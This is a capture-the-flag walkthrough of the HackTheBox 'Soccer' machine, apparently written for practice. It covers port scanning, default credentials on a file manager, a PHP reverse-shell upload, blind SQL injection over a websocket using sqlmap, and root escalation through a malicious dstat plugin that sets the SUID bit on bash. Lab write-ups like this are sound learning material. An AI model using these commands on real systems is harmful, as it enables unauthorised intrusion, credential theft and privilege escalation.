TCP Scan

> TARGET=10.129.88.135 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT     STATE SERVICE         REASON         VERSION
22/tcp   open  ssh             syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http            syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
9091/tcp open  xmltec-xmlmail? syn-ack ttl 63
  • Domain: soccer.htb

Web Enum

  • dirsearch
> dirsearch -u http://soccer.htb/ -x 403,401 -w /usr/share/wordlists/dirb/big.txt

[03:07:11] 301 -  178B  - /tiny  ->  http://soccer.htb/tiny/
admin:admin@123

Foothold: www-data

  • After logging in, you will see a file manager UI. We are able to upload a reverse shell using this facility.
  • Browse to the /tiny/uploads/ directory and upload a reverse shell /usr/share/webshells/php/php-reverse-shell.php
  • Then browse to the uploaded shell path to receive a reverse shell: http://soccer.htb/tiny/uploads/w.php
  • Checking the nginx file /etc/nginx/sites-available/soc-player.htb found a service on a subdomain soc-player.soccer.htb
server {
        listen 80;
        listen [::]:80;

        server_name soc-player.soccer.htb;

        root /root/app/views;

        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;
        }

}

Subdomain: soc-player.soccer.htb, sqli

  • Browse to http://soc-player.soccer.htb/signup and create an account, then login.
  • After login, you are presented with the page http://soc-player.soccer.htb/check. There is a ticket checking mechanism where you can search for a ticket. Inspecting the html source found that this feature connects to a websocket
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
  • So, very likely there could be a sqli vulnerability. Search online for sqli websocket lead to this post: https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html
  • Basically, we can use the python script in the post as a proxy that forwards sqlmap requests to localhost:8081 (as it’s defined in the python script) to the target host’s websocket port 9091. To make our setup work, we need to change the script with the following settings
ws_server = "ws://soc-player.soccer.htb:9091" # line: 6
...
data = '{"id":"%s"}' % message # line: 15, this format can be found by inspecting the traffic and see the search response
  • Save the script as sqli.py, to exploit
# terminal 1
> python3 sqli.py

# terminal 2
> sqlmap -u "http://localhost:8081/?id=1" -p "id"
  • This process can take a very long time. But eventually, you’ll get the username and password. Login via ssh to get the user flag.
[04:40:38] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable

+------+-------------------+----------+----------------------+
| id   | email             | username | password             |
+------+-------------------+----------+----------------------+
| 1324 | player@player.htb | player   | PlayerOftheMatch2022 |
+------+-------------------+----------+----------------------+

PE: root

  • Upload linpeas and perform enum, note the followings
[+] Checking doas.conf
permit nopass player as root cmd /usr/bin/dstat 
  • So from the doas configure, it seems that we can run /usr/bin/dstat as root. This can help us to PE
  • From reading https://linux.die.net/man/1/dstat, dstat can be used to monitor and view system resources. And it supports customised plugins. Therefore, we can create a malicious plugin that executes our code then run dstat with root privielge. See the following example
Files
Paths that may contain external dstat_*.py plugins:

~/.dstat/
(path of binary)/plugins/
/usr/share/dstat/
/usr/local/share/dstat/
  • Search to locate dstat directory
player@soccer:~$ find / -type d -name dstat 2>/dev/null
/usr/share/doc/dstat
/usr/share/dstat
/usr/local/share/dstat
  • Create a plugin called dstat_meow.py with the following content under /usr/local/share/dstat/
import os
os.system('chmod +s /usr/bin/bash')
  • Then run dstat with root to trigger the plugin to get root
# check if the plugin can be detected
> dstat --list | grep meow

# run the exploit
player@soccer:/usr/local/share/dstat$ doas -u root /usr/bin/dstat --meow
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
Module dstat_meow failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.
player@soccer:/usr/local/share/dstat$ bash -p
bash-5.0# id
uid=1001(player) gid=1001(player) euid=0(root) egid=0(root) groups=0(root),1001(player)
bash-5.0# cat /root/root.txt